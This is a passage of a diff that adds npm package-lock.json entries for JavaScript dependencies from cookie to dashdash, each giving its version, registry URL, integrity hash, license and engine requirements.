10496+ "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
10497+ "license": "MIT",
10498+ "engines": {
10499+ "node": ">= 0.6"
10500+ }
10501+ },
10502+ "node_modules/cookie-parser": {
10503+ "version": "1.4.7",
10504+ "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.7.tgz",
10505+ "integrity": "sha512-nGUvgXnotP3BsjiLX2ypbQnWoGUPIIfHQNZkkC668ntrzGWEZVW70HDEB1qnNGMicPje6EttlIgzo51YSwNQGw==",
10506+ "license": "MIT",
10507+ "dependencies": {
10508+ "cookie": "0.7.2",
10509+ "cookie-signature": "1.0.6"
10510+ },
10511+ "engines": {
10512+ "node": ">= 0.8.0"
10513+ }
10514+ },
10515+ "node_modules/cookie-signature": {
10516+ "version": "1.0.6",
10517+ "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
10518+ "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==",
10519+ "license": "MIT"
10520+ },
10521+ "node_modules/cookiejar": {
10522+ "version": "2.1.4",
10523+ "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz",
10524+ "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==",
10525+ "license": "MIT"
10526+ },
10527+ "node_modules/copy-to-clipboard": {
10528+ "version": "3.3.3",
10529+ "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.3.3.tgz",
10530+ "integrity": "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA==",
10531+ "license": "MIT",
10532+ "dependencies": {
10533+ "toggle-selection": "^1.0.6"
10534+ }
10535+ },
10536+ "node_modules/core-js": {
10537+ "version": "3.47.0",
10538+ "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.47.0.tgz",
10539+ "integrity": "sha512-c3Q2VVkGAUyupsjRnaNX6u8Dq2vAdzm9iuPj5FW0fRxzlxgq9Q39MDq10IvmQSpLgHQNyQzQmOo6bgGHmH3NNg==",
10540+ "hasInstallScript": true,
10541+ "license": "MIT",
10542+ "funding": {
10543+ "type": "opencollective",
10544+ "url": "https://opencollective.com/core-js"
10545+ }
10546+ },
10547+ "node_modules/core-js-compat": {
10548+ "version": "3.47.0",
10549+ "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.47.0.tgz",
10550+ "integrity": "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ==",
10551+ "license": "MIT",
10552+ "dependencies": {
10553+ "browserslist": "^4.28.0"
10554+ },
10555+ "funding": {
10556+ "type": "opencollective",
10557+ "url": "https://opencollective.com/core-js"
10558+ }
10559+ },
10560+ "node_modules/core-js-pure": {
10561+ "version": "3.47.0",
10562+ "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.47.0.tgz",
10563+ "integrity": "sha512-BcxeDbzUrRnXGYIVAGFtcGQVNpFcUhVjr6W7F8XktvQW2iJP9e66GP6xdKotCRFlrxBvNIBrhwKteRXqMV86Nw==",
10564+ "hasInstallScript": true,
10565+ "license": "MIT",
10566+ "funding": {
10567+ "type": "opencollective",
10568+ "url": "https://opencollective.com/core-js"
10569+ }
10570+ },
10571+ "node_modules/core-util-is": {
10572+ "version": "1.0.3",
10573+ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
10574+ "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
10575+ "license": "MIT"
10576+ },
10577+ "node_modules/cors": {
10578+ "version": "2.8.5",
10579+ "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz",
10580+ "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==",
10581+ "license": "MIT",
10582+ "dependencies": {
10583+ "object-assign": "^4",
10584+ "vary": "^1"
10585+ },
10586+ "engines": {
10587+ "node": ">= 0.10"
10588+ }
10589+ },
10590+ "node_modules/cosmiconfig": {
10591+ "version": "7.1.0",
10592+ "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz",
10593+ "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==",
10594+ "license": "MIT",
10595+ "dependencies": {
10596+ "@types/parse-json": "^4.0.0",
10597+ "import-fresh": "^3.2.1",
10598+ "parse-json": "^5.0.0",
10599+ "path-type": "^4.0.0",
10600+ "yaml": "^1.10.0"
10601+ },
10602+ "engines": {
10603+ "node": ">=10"
10604+ }
10605+ },
10606+ "node_modules/cosmiconfig/node_modules/yaml": {
10607+ "version": "1.10.2",
10608+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
10609+ "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
10610+ "license": "ISC",
10611+ "engines": {
10612+ "node": ">= 6"
10613+ }
10614+ },
10615+ "node_modules/create-ecdh": {
10616+ "version": "4.0.4",
10617+ "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz",
10618+ "integrity": "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==",
10619+ "license": "MIT",
10620+ "dependencies": {
10621+ "bn.js": "^4.1.0",
10622+ "elliptic": "^6.5.3"
10623+ }
10624+ },
10625+ "node_modules/create-hash": {
10626+ "version": "1.2.0",
10627+ "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz",
10628+ "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==",
10629+ "license": "MIT",
10630+ "dependencies": {
10631+ "cipher-base": "^1.0.1",
10632+ "inherits": "^2.0.1",
10633+ "md5.js": "^1.3.4",
10634+ "ripemd160": "^2.0.1",
10635+ "sha.js": "^2.4.0"
10636+ }
10637+ },
10638+ "node_modules/create-hmac": {
10639+ "version": "1.1.7",
10640+ "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz",
10641+ "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==",
10642+ "license": "MIT",
10643+ "dependencies": {
10644+ "cipher-base": "^1.0.3",
10645+ "create-hash": "^1.1.0",
10646+ "inherits": "^2.0.1",
10647+ "ripemd160": "^2.0.0",
10648+ "safe-buffer": "^5.0.1",
10649+ "sha.js": "^2.4.8"
10650+ }
10651+ },
10652+ "node_modules/create-require": {
10653+ "version": "1.1.1",
10654+ "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz",
10655+ "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==",
10656+ "license": "MIT"
10657+ },
10658+ "node_modules/cross-env": {
10659+ "version": "7.0.3",
10660+ "resolved": "https://registry.npmjs.org/cross-env/-/cross-env-7.0.3.tgz",
10661+ "integrity": "sha512-+/HKd6EgcQCJGh2PSjZuUitQBQynKor4wrFbRg4DtAgS1aWO+gU52xpH7M9ScGgXSYmAVS9bIJ8EzuaGw0oNAw==",
10662+ "license": "MIT",
10663+ "dependencies": {
10664+ "cross-spawn": "^7.0.1"
10665+ },
10666+ "bin": {
10667+ "cross-env": "src/bin/cross-env.js",
10668+ "cross-env-shell": "src/bin/cross-env-shell.js"
10669+ },
10670+ "engines": {
10671+ "node": ">=10.14",
10672+ "npm": ">=6",
10673+ "yarn": ">=1"
10674+ }
10675+ },
10676+ "node_modules/cross-fetch": {
10677+ "version": "2.2.6",
10678+ "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-2.2.6.tgz",
10679+ "integrity": "sha512-9JZz+vXCmfKUZ68zAptS7k4Nu8e2qcibe7WVZYps7sAgk5R8GYTc+T1WR0v1rlP9HxgARmOX1UTIJZFytajpNA==",
10680+ "license": "MIT",
10681+ "dependencies": {
10682+ "node-fetch": "^2.6.7",
10683+ "whatwg-fetch": "^2.0.4"
10684+ }
10685+ },
10686+ "node_modules/cross-fetch/node_modules/whatwg-fetch": {
10687+ "version": "2.0.4",
10688+ "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz",
10689+ "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==",
10690+ "license": "MIT"
10691+ },
10692+ "node_modules/cross-spawn": {
10693+ "version": "7.0.6",
10694+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
10695+ "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
10696+ "license": "MIT",
10697+ "dependencies": {
10698+ "path-key": "^3.1.0",
10699+ "shebang-command": "^2.0.0",
10700+ "which": "^2.0.1"
10701+ },
10702+ "engines": {
10703+ "node": ">= 8"
10704+ }
10705+ },
10706+ "node_modules/crypto-browserify": {
10707+ "version": "3.12.1",
10708+ "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.1.tgz",
10709+ "integrity": "sha512-r4ESw/IlusD17lgQi1O20Fa3qNnsckR126TdUuBgAu7GBYSIPvdNyONd3Zrxh0xCwA4+6w/TDArBPsMvhur+KQ==",
10710+ "license": "MIT",
10711+ "dependencies": {
10712+ "browserify-cipher": "^1.0.1",
10713+ "browserify-sign": "^4.2.3",
10714+ "create-ecdh": "^4.0.4",
10715+ "create-hash": "^1.2.0",
10716+ "create-hmac": "^1.1.7",
10717+ "diffie-hellman": "^5.0.3",
10718+ "hash-base": "~3.0.4",
10719+ "inherits": "^2.0.4",
10720+ "pbkdf2": "^3.1.2",
10721+ "public-encrypt": "^4.0.3",
10722+ "randombytes": "^2.1.0",
10723+ "randomfill": "^1.0.4"
10724+ },
10725+ "engines": {
10726+ "node": ">= 0.10"
10727+ },
10728+ "funding": {
10729+ "url": "https://github.com/sponsors/ljharb"
10730+ }
10731+ },
10732+ "node_modules/crypto-random-string": {
10733+ "version": "2.0.0",
10734+ "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
10735+ "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==",
10736+ "license": "MIT",
10737+ "engines": {
10738+ "node": ">=8"
10739+ }
10740+ },
10741+ "node_modules/css-blank-pseudo": {
10742+ "version": "3.0.3",
10743+ "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz",
10744+ "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==",
10745+ "license": "CC0-1.0",
10746+ "dependencies": {
10747+ "postcss-selector-parser": "^6.0.9"
10748+ },
10749+ "bin": {
10750+ "css-blank-pseudo": "dist/cli.cjs"
10751+ },
10752+ "engines": {
10753+ "node": "^12 || ^14 || >=16"
10754+ },
10755+ "peerDependencies": {
10756+ "postcss": "^8.4"
10757+ }
10758+ },
10759+ "node_modules/css-declaration-sorter": {
10760+ "version": "6.4.1",
10761+ "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz",
10762+ "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==",
10763+ "license": "ISC",
10764+ "engines": {
10765+ "node": "^10 || ^12 || >=14"
10766+ },
10767+ "peerDependencies": {
10768+ "postcss": "^8.0.9"
10769+ }
10770+ },
10771+ "node_modules/css-has-pseudo": {
10772+ "version": "3.0.4",
10773+ "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz",
10774+ "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==",
10775+ "license": "CC0-1.0",
10776+ "dependencies": {
10777+ "postcss-selector-parser": "^6.0.9"
10778+ },
10779+ "bin": {
10780+ "css-has-pseudo": "dist/cli.cjs"
10781+ },
10782+ "engines": {
10783+ "node": "^12 || ^14 || >=16"
10784+ },
10785+ "peerDependencies": {
10786+ "postcss": "^8.4"
10787+ }
10788+ },
10789+ "node_modules/css-loader": {
10790+ "version": "6.11.0",
10791+ "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.11.0.tgz",
10792+ "integrity": "sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==",
10793+ "license": "MIT",
10794+ "dependencies": {
10795+ "icss-utils": "^5.1.0",
10796+ "postcss": "^8.4.33",
10797+ "postcss-modules-extract-imports": "^3.1.0",
10798+ "postcss-modules-local-by-default": "^4.0.5",
10799+ "postcss-modules-scope": "^3.2.0",
10800+ "postcss-modules-values": "^4.0.0",
10801+ "postcss-value-parser": "^4.2.0",
10802+ "semver": "^7.5.4"
10803+ },
10804+ "engines": {
10805+ "node": ">= 12.13.0"
10806+ },
10807+ "funding": {
10808+ "type": "opencollective",
10809+ "url": "https://opencollective.com/webpack"
10810+ },
10811+ "peerDependencies": {
10812+ "@rspack/core": "0.x || 1.x",
10813+ "webpack": "^5.0.0"
10814+ },
10815+ "peerDependenciesMeta": {
10816+ "@rspack/core": {
10817+ "optional": true
10818+ },
10819+ "webpack": {
10820+ "optional": true
10821+ }
10822+ }
10823+ },
10824+ "node_modules/css-minimizer-webpack-plugin": {
10825+ "version": "3.4.1",
10826+ "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz",
10827+ "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==",
10828+ "license": "MIT",
10829+ "dependencies": {
10830+ "cssnano": "^5.0.6",
10831+ "jest-worker": "^27.0.2",
10832+ "postcss": "^8.3.5",
10833+ "schema-utils": "^4.0.0",
10834+ "serialize-javascript": "^6.0.0",
10835+ "source-map": "^0.6.1"
10836+ },
10837+ "engines": {
10838+ "node": ">= 12.13.0"
10839+ },
10840+ "funding": {
10841+ "type": "opencollective",
10842+ "url": "https://opencollective.com/webpack"
10843+ },
10844+ "peerDependencies": {
10845+ "webpack": "^5.0.0"
10846+ },
10847+ "peerDependenciesMeta": {
10848+ "@parcel/css": {
10849+ "optional": true
10850+ },
10851+ "clean-css": {
10852+ "optional": true
10853+ },
10854+ "csso": {
10855+ "optional": true
10856+ },
10857+ "esbuild": {
10858+ "optional": true
10859+ }
10860+ }
10861+ },
10862+ "node_modules/css-minimizer-webpack-plugin/node_modules/source-map": {
10863+ "version": "0.6.1",
10864+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
10865+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
10866+ "license": "BSD-3-Clause",
10867+ "engines": {
10868+ "node": ">=0.10.0"
10869+ }
10870+ },
10871+ "node_modules/css-prefers-color-scheme": {
10872+ "version": "6.0.3",
10873+ "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz",
10874+ "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==",
10875+ "license": "CC0-1.0",
10876+ "bin": {
10877+ "css-prefers-color-scheme": "dist/cli.cjs"
10878+ },
10879+ "engines": {
10880+ "node": "^12 || ^14 || >=16"
10881+ },
10882+ "peerDependencies": {
10883+ "postcss": "^8.4"
10884+ }
10885+ },
10886+ "node_modules/css-select": {
10887+ "version": "4.3.0",
10888+ "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz",
10889+ "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==",
10890+ "license": "BSD-2-Clause",
10891+ "dependencies": {
10892+ "boolbase": "^1.0.0",
10893+ "css-what": "^6.0.1",
10894+ "domhandler": "^4.3.1",
10895+ "domutils": "^2.8.0",
10896+ "nth-check": "^2.0.1"
10897+ },
10898+ "funding": {
10899+ "url": "https://github.com/sponsors/fb55"
10900+ }
10901+ },
10902+ "node_modules/css-select-base-adapter": {
10903+ "version": "0.1.1",
10904+ "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz",
10905+ "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==",
10906+ "license": "MIT"
10907+ },
10908+ "node_modules/css-tree": {
10909+ "version": "1.0.0-alpha.37",
10910+ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz",
10911+ "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==",
10912+ "license": "MIT",
10913+ "dependencies": {
10914+ "mdn-data": "2.0.4",
10915+ "source-map": "^0.6.1"
10916+ },
10917+ "engines": {
10918+ "node": ">=8.0.0"
10919+ }
10920+ },
10921+ "node_modules/css-tree/node_modules/source-map": {
10922+ "version": "0.6.1",
10923+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
10924+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
10925+ "license": "BSD-3-Clause",
10926+ "engines": {
10927+ "node": ">=0.10.0"
10928+ }
10929+ },
10930+ "node_modules/css-what": {
10931+ "version": "6.2.2",
10932+ "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz",
10933+ "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==",
10934+ "license": "BSD-2-Clause",
10935+ "engines": {
10936+ "node": ">= 6"
10937+ },
10938+ "funding": {
10939+ "url": "https://github.com/sponsors/fb55"
10940+ }
10941+ },
10942+ "node_modules/css.escape": {
10943+ "version": "1.5.1",
10944+ "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
10945+ "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
10946+ "license": "MIT"
10947+ },
10948+ "node_modules/cssdb": {
10949+ "version": "7.11.2",
10950+ "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.11.2.tgz",
10951+ "integrity": "sha512-lhQ32TFkc1X4eTefGfYPvgovRSzIMofHkigfH8nWtyRL4XJLsRhJFreRvEgKzept7x1rjBuy3J/MurXLaFxW/A==",
10952+ "funding": [
10953+ {
10954+ "type": "opencollective",
10955+ "url": "https://opencollective.com/csstools"
10956+ },
10957+ {
10958+ "type": "github",
10959+ "url": "https://github.com/sponsors/csstools"
10960+ }
10961+ ],
10962+ "license": "CC0-1.0"
10963+ },
10964+ "node_modules/cssesc": {
10965+ "version": "3.0.0",
10966+ "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
10967+ "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
10968+ "license": "MIT",
10969+ "bin": {
10970+ "cssesc": "bin/cssesc"
10971+ },
10972+ "engines": {
10973+ "node": ">=4"
10974+ }
10975+ },
10976+ "node_modules/cssnano": {
10977+ "version": "5.1.15",
10978+ "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.15.tgz",
10979+ "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==",
10980+ "license": "MIT",
10981+ "dependencies": {
10982+ "cssnano-preset-default": "^5.2.14",
10983+ "lilconfig": "^2.0.3",
10984+ "yaml": "^1.10.2"
10985+ },
10986+ "engines": {
10987+ "node": "^10 || ^12 || >=14.0"
10988+ },
10989+ "funding": {
10990+ "type": "opencollective",
10991+ "url": "https://opencollective.com/cssnano"
10992+ },
10993+ "peerDependencies": {
10994+ "postcss": "^8.2.15"
10995+ }
10996+ },
10997+ "node_modules/cssnano-preset-default": {
10998+ "version": "5.2.14",
10999+ "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz",
11000+ "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==",
11001+ "license": "MIT",
11002+ "dependencies": {
11003+ "css-declaration-sorter": "^6.3.1",
11004+ "cssnano-utils": "^3.1.0",
11005+ "postcss-calc": "^8.2.3",
11006+ "postcss-colormin": "^5.3.1",
11007+ "postcss-convert-values": "^5.1.3",
11008+ "postcss-discard-comments": "^5.1.2",
11009+ "postcss-discard-duplicates": "^5.1.0",
11010+ "postcss-discard-empty": "^5.1.1",
11011+ "postcss-discard-overridden": "^5.1.0",
11012+ "postcss-merge-longhand": "^5.1.7",
11013+ "postcss-merge-rules": "^5.1.4",
11014+ "postcss-minify-font-values": "^5.1.0",
11015+ "postcss-minify-gradients": "^5.1.1",
11016+ "postcss-minify-params": "^5.1.4",
11017+ "postcss-minify-selectors": "^5.2.1",
11018+ "postcss-normalize-charset": "^5.1.0",
11019+ "postcss-normalize-display-values": "^5.1.0",
11020+ "postcss-normalize-positions": "^5.1.1",
11021+ "postcss-normalize-repeat-style": "^5.1.1",
11022+ "postcss-normalize-string": "^5.1.0",
11023+ "postcss-normalize-timing-functions": "^5.1.0",
11024+ "postcss-normalize-unicode": "^5.1.1",
11025+ "postcss-normalize-url": "^5.1.0",
11026+ "postcss-normalize-whitespace": "^5.1.1",
11027+ "postcss-ordered-values": "^5.1.3",
11028+ "postcss-reduce-initial": "^5.1.2",
11029+ "postcss-reduce-transforms": "^5.1.0",
11030+ "postcss-svgo": "^5.1.0",
11031+ "postcss-unique-selectors": "^5.1.1"
11032+ },
11033+ "engines": {
11034+ "node": "^10 || ^12 || >=14.0"
11035+ },
11036+ "peerDependencies": {
11037+ "postcss": "^8.2.15"
11038+ }
11039+ },
11040+ "node_modules/cssnano-utils": {
11041+ "version": "3.1.0",
11042+ "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz",
11043+ "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==",
11044+ "license": "MIT",
11045+ "engines": {
11046+ "node": "^10 || ^12 || >=14.0"
11047+ },
11048+ "peerDependencies": {
11049+ "postcss": "^8.2.15"
11050+ }
11051+ },
11052+ "node_modules/cssnano/node_modules/yaml": {
11053+ "version": "1.10.2",
11054+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
11055+ "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
11056+ "license": "ISC",
11057+ "engines": {
11058+ "node": ">= 6"
11059+ }
11060+ },
11061+ "node_modules/csso": {
11062+ "version": "4.2.0",
11063+ "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz",
11064+ "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==",
11065+ "license": "MIT",
11066+ "dependencies": {
11067+ "css-tree": "^1.1.2"
11068+ },
11069+ "engines": {
11070+ "node": ">=8.0.0"
11071+ }
11072+ },
11073+ "node_modules/csso/node_modules/css-tree": {
11074+ "version": "1.1.3",
11075+ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
11076+ "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
11077+ "license": "MIT",
11078+ "dependencies": {
11079+ "mdn-data": "2.0.14",
11080+ "source-map": "^0.6.1"
11081+ },
11082+ "engines": {
11083+ "node": ">=8.0.0"
11084+ }
11085+ },
11086+ "node_modules/csso/node_modules/mdn-data": {
11087+ "version": "2.0.14",
11088+ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
11089+ "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==",
11090+ "license": "CC0-1.0"
11091+ },
11092+ "node_modules/csso/node_modules/source-map": {
11093+ "version": "0.6.1",
11094+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
11095+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
11096+ "license": "BSD-3-Clause",
11097+ "engines": {
11098+ "node": ">=0.10.0"
11099+ }
11100+ },
11101+ "node_modules/cssom": {
11102+ "version": "0.4.4",
11103+ "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
11104+ "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==",
11105+ "license": "MIT"
11106+ },
11107+ "node_modules/cssstyle": {
11108+ "version": "2.3.0",
11109+ "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
11110+ "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
11111+ "license": "MIT",
11112+ "dependencies": {
11113+ "cssom": "~0.3.6"
11114+ },
11115+ "engines": {
11116+ "node": ">=8"
11117+ }
11118+ },
11119+ "node_modules/cssstyle/node_modules/cssom": {
11120+ "version": "0.3.8",
11121+ "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
11122+ "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==",
11123+ "license": "MIT"
11124+ },
11125+ "node_modules/csstype": {
11126+ "version": "3.2.3",
11127+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
11128+ "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
11129+ "license": "MIT"
11130+ },
11131+ "node_modules/damerau-levenshtein": {
11132+ "version": "1.0.8",
11133+ "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
11134+ "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==",
11135+ "license": "BSD-2-Clause"
11136+ },
11137+ "node_modules/dashdash": {
11138+ "version": "1.14.1",
